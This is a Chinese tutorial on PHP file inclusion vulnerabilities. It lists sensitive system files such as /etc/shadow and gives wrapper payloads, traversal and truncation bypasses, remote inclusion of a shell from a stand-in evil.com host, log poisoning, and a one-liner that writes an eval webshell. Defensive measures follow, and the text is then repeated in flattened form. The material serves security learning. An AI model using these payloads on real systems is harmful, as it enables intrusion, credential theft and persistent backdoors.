记文件包含漏洞的学习
字数 1388 2025-08-09 18:43:59

PHP文件包含漏洞全面解析与利用技术

一、文件包含漏洞基础

1. 相关函数

PHP中引发文件包含漏洞的主要是以下四个函数:

  • include():包含出错时提出警告,继续执行后续语句
  • include_once():功能同include(),但已包含过的文件不再包含
  • require():包含出错时直接退出,不执行后续语句
  • require_once():功能同require(),但已包含过的文件不再包含

2. 漏洞原理

当利用这些函数包含文件时,无论文件类型(图片、txt等),都会作为PHP文件解析。

示例代码

<?php 
$file = $_GET['file']; 
include $file; 
?>

3. 漏洞场景

  1. 存在文件包含函数
  2. 函数中存在动态变量(如include $file;
  3. 攻击者能控制该变量(如$file = $_GET['file'];

二、文件包含漏洞分类

1. LFI(本地文件包含)

  • 能打开并包含本地文件的漏洞
  • 不受allow_url_fopenallow_url_include配置影响

2. RFI(远程文件包含)

  • 能包含远程服务器上的文件并执行
  • 利用条件苛刻:
    • allow_url_fopen = On
    • allow_url_include = On

三、敏感文件路径

Windows系统

c:/boot.ini                  // 查看系统版本
c:/windows/php.ini           // PHP配置信息
c:/windows/my.ini            // MySQL配置文件
C:\Windows\win.ini           // 系统配置文件
c:\mysql\data\mysql\user.MYD // MySQL用户密码

Linux/Unix系统

/etc/passwd                  // 用户账户信息
/etc/shadow                  // 用户密码哈希
/usr/local/app/apache2/conf/httpd.conf  // Apache配置文件
/etc/my.cnf                  // MySQL配置文件
/etc/redhat-release          // 系统版本

四、文件包含利用技术

1. PHP伪协议利用

file://

  • 访问本地文件系统
  • 无需allow_url_fopenallow_url_include
?file=file://C:/Windows/win.ini

php://input

  • 读取POST原始数据
  • 需要allow_url_include = On
?file=php://input
POST: <?php phpinfo(); ?>

php://filter

  • 读取文件源码(Base64编码)
?file=php://filter/read=convert.base64-encode/resource=index.php

phar://

  • 解压缩包包含(PHP >= 5.3.0)
?file=phar://test.zip/shell.php

zip://

  • 类似phar但需要绝对路径和#编码
?file=zip://D:/test.zip%23shell.php

data://

  • 数据流封装(PHP >= 5.2)
  • 需要allow_url_fopen = Onallow_url_include = On
?file=data:text/plain,<?php phpinfo();?>
或
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

2. 其他包含方式

包含Session文件

  • 利用条件:session路径已知且内容可控
?file=/var/lib/php5/sess_[PHPSESSID]

包含日志文件

  • Apache日志:/var/log/apache2/access.log
  • 通过修改User-Agent注入PHP代码

包含environ

  • 利用条件:PHP以CGI方式运行
?file=proc/self/environ

包含上传文件

  • 上传图片马后包含
?file=./upload/shell.jpg

包含临时文件

  • 利用上传时的临时文件竞争包含

五、绕过技术

1. 目录遍历绕过

?file=../../etc/passwd

2. 编码绕过

../ → %2e%2e%2f
../ → ..%c0%af  (特定环境)

3. 截断技术

  • %00截断(PHP < 5.3.4)
?file=shell.php%00
  • 长度截断(Windows 256字节,Linux 4096字节)
?file=shell.php/./././.../

4. 后缀绕过

  • 利用?或#绕过后缀限制
?file=http://evil.com/shell.txt?
?file=http://evil.com/shell.txt%23

六、防御方案

  1. 配置open_basedir限制访问目录
  2. 做好文件权限管理
  3. 使用白名单限制可包含文件
  4. 过滤危险字符(./\等)
  5. 关闭危险配置:
    • allow_url_fopen = Off
    • allow_url_include = Off
  6. 避免使用动态包含

七、实战技巧

  1. 使用php://filter读取配置文件获取更多信息
  2. 结合文件上传功能上传Webshell
  3. 利用日志文件注入PHP代码
  4. 在无法直接执行代码时,尝试写入文件:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>

通过全面理解和掌握这些技术,安全研究人员可以更好地测试和防御文件包含漏洞,而开发人员则能够编写更安全的代码。

PHP文件包含漏洞全面解析与利用技术 一、文件包含漏洞基础 1. 相关函数 PHP中引发文件包含漏洞的主要是以下四个函数: include() :包含出错时提出警告,继续执行后续语句 include_once() :功能同 include() ,但已包含过的文件不再包含 require() :包含出错时直接退出,不执行后续语句 require_once() :功能同 require() ,但已包含过的文件不再包含 2. 漏洞原理 当利用这些函数包含文件时,无论文件类型(图片、txt等),都会作为PHP文件解析。 示例代码 : 3. 漏洞场景 存在文件包含函数 函数中存在动态变量(如 include $file; ) 攻击者能控制该变量(如 $file = $_GET['file']; ) 二、文件包含漏洞分类 1. LFI(本地文件包含) 能打开并包含本地文件的漏洞 不受 allow_url_fopen 和 allow_url_include 配置影响 2. RFI(远程文件包含) 能包含远程服务器上的文件并执行 利用条件苛刻: allow_url_fopen = On allow_url_include = On 三、敏感文件路径 Windows系统 Linux/Unix系统 四、文件包含利用技术 1. PHP伪协议利用 file:// 访问本地文件系统 无需 allow_url_fopen 和 allow_url_include php://input 读取POST原始数据 需要 allow_url_include = On php://filter 读取文件源码(Base64编码) phar:// 解压缩包包含(PHP >= 5.3.0) zip:// 类似phar但需要绝对路径和#编码 data:// 数据流封装(PHP >= 5.2) 需要 allow_url_fopen = On 和 allow_url_include = On 2. 其他包含方式 包含Session文件 利用条件:session路径已知且内容可控 包含日志文件 Apache日志: /var/log/apache2/access.log 通过修改User-Agent注入PHP代码 包含environ 利用条件:PHP以CGI方式运行 包含上传文件 上传图片马后包含 包含临时文件 利用上传时的临时文件竞争包含 五、绕过技术 1. 目录遍历绕过 2. 编码绕过 3. 截断技术 %00截断(PHP < 5.3.4) 长度截断(Windows 256字节,Linux 4096字节) 4. 后缀绕过 利用?或#绕过后缀限制 六、防御方案 配置 open_basedir 限制访问目录 做好文件权限管理 使用白名单限制可包含文件 过滤危险字符(./\等) 关闭危险配置: allow_url_fopen = Off allow_url_include = Off 避免使用动态包含 七、实战技巧 使用 php://filter 读取配置文件获取更多信息 结合文件上传功能上传Webshell 利用日志文件注入PHP代码 在无法直接执行代码时,尝试写入文件: 通过全面理解和掌握这些技术,安全研究人员可以更好地测试和防御文件包含漏洞,而开发人员则能够编写更安全的代码。